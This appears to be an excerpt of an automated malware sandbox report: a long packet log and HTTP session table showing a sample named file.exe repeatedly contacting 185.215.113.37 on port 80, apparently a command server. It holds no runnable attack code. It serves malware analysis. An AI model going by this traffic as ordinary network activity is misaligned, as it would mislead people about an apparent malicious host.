Oct 1, 2024 06:03:13.885015011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885042906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885052919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885083914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885093927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885138988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885143042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885175943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885190010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885207891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885217905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885241985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885248899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885274887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885283947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885324001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885328054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885356903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885373116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885390043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885396957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885425091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885430098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885458946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885464907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885492086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885499001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885528088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885529041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885560989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885570049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885595083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885603905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885628939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885638952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885662079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885668039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885694027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885704041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885727882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885735035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885761023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885770082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885793924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885807991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885823011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885833025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885854959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885862112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885890007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885893106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885922909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885936022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885956049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885970116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.885987997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.885998964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886022091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886028051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886054993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886064053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886087894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886094093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886121035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886128902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886156082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886158943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886188984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886198997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886223078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886235952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886255980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886265039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886290073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886302948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886322021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886334896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886353970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886364937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886387110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886401892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886420965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886431932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886454105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886466980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886487007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886496067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886519909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886529922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886554003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886559010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886583090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886593103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886615992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886625051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886648893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886656046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886682987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886692047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886715889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886748075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886750937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886750937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886780977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886799097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886811972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886818886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886845112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886854887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886877060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886885881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886912107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.886920929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.886953115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.924035072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.928848028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.140954971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141025066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141027927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141062021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141072989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141098022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141103983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141133070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141143084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141165018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141171932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141197920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141215086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141231060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141257048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141263962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141282082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141304016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141307116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141345024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141350031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141374111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141385078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141408920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141413927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141444921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141455889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141478062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141486883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141510963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141518116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141544104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141551018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141576052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141585112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141621113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141649008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141695023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141700983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141741037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141768932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141802073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141829014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141830921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141841888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141864061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141872883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141913891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141926050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141954899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141963005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.141994953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.141995907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142043114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142049074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142096996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142100096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142131090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142144918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142163992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142183065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142205954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142210960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142242908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142251968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142271996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142285109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142311096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142324924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142366886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142373085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142401934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142410994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142438889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142441034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142472982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142481089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142504930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142517090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142538071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142545938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142570019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142575026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142604113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142620087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142651081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142652035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142684937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142700911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142716885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142729998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142750025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142762899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142777920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142791986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142811060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142821074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142843962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142859936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142873049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142891884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142905951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142936945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142940044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142961025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.142968893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.142972946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143002987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143012047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143037081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143043995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143069983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143079996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143102884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143107891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143136024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143145084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143167973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143174887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143203020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143208027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143232107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143240929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143263102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143276930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143296003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143305063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143331051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143342972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143363953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143378019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143413067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143414974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143450022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143457890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143482924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143491030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143516064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143522978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143544912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143552065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143577099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143584967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143610001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143619061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143641949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143646955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143677950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143687010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143711090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143731117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143745899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143754005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143779039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143794060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143812895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143826008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143841028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143870115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143872023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143877983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143907070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143920898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143940926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.143948078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.143984079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.819885015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.819885015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:14.824979067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:14.825016022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:15.535921097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:15.535986900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:15.598432064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:15.603352070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:15.818064928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:15.818119049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:15.818150997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:15.818165064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:15.818166018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:15.818552971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:15.820846081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:15.825689077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:16.040087938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:16.040158033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:16.060138941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:16.065058947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:16.767241955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:16.767416954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:16.845488071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:16.850560904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:17.073957920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:17.074008942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:17.074049950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:17.074105024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:17.074146986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:17.183063984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:17.189390898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:17.894898891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:17.894968987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:20.935123920 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	7136	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 06:03:01.669294119 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 06:03:02.390451908 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:03:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
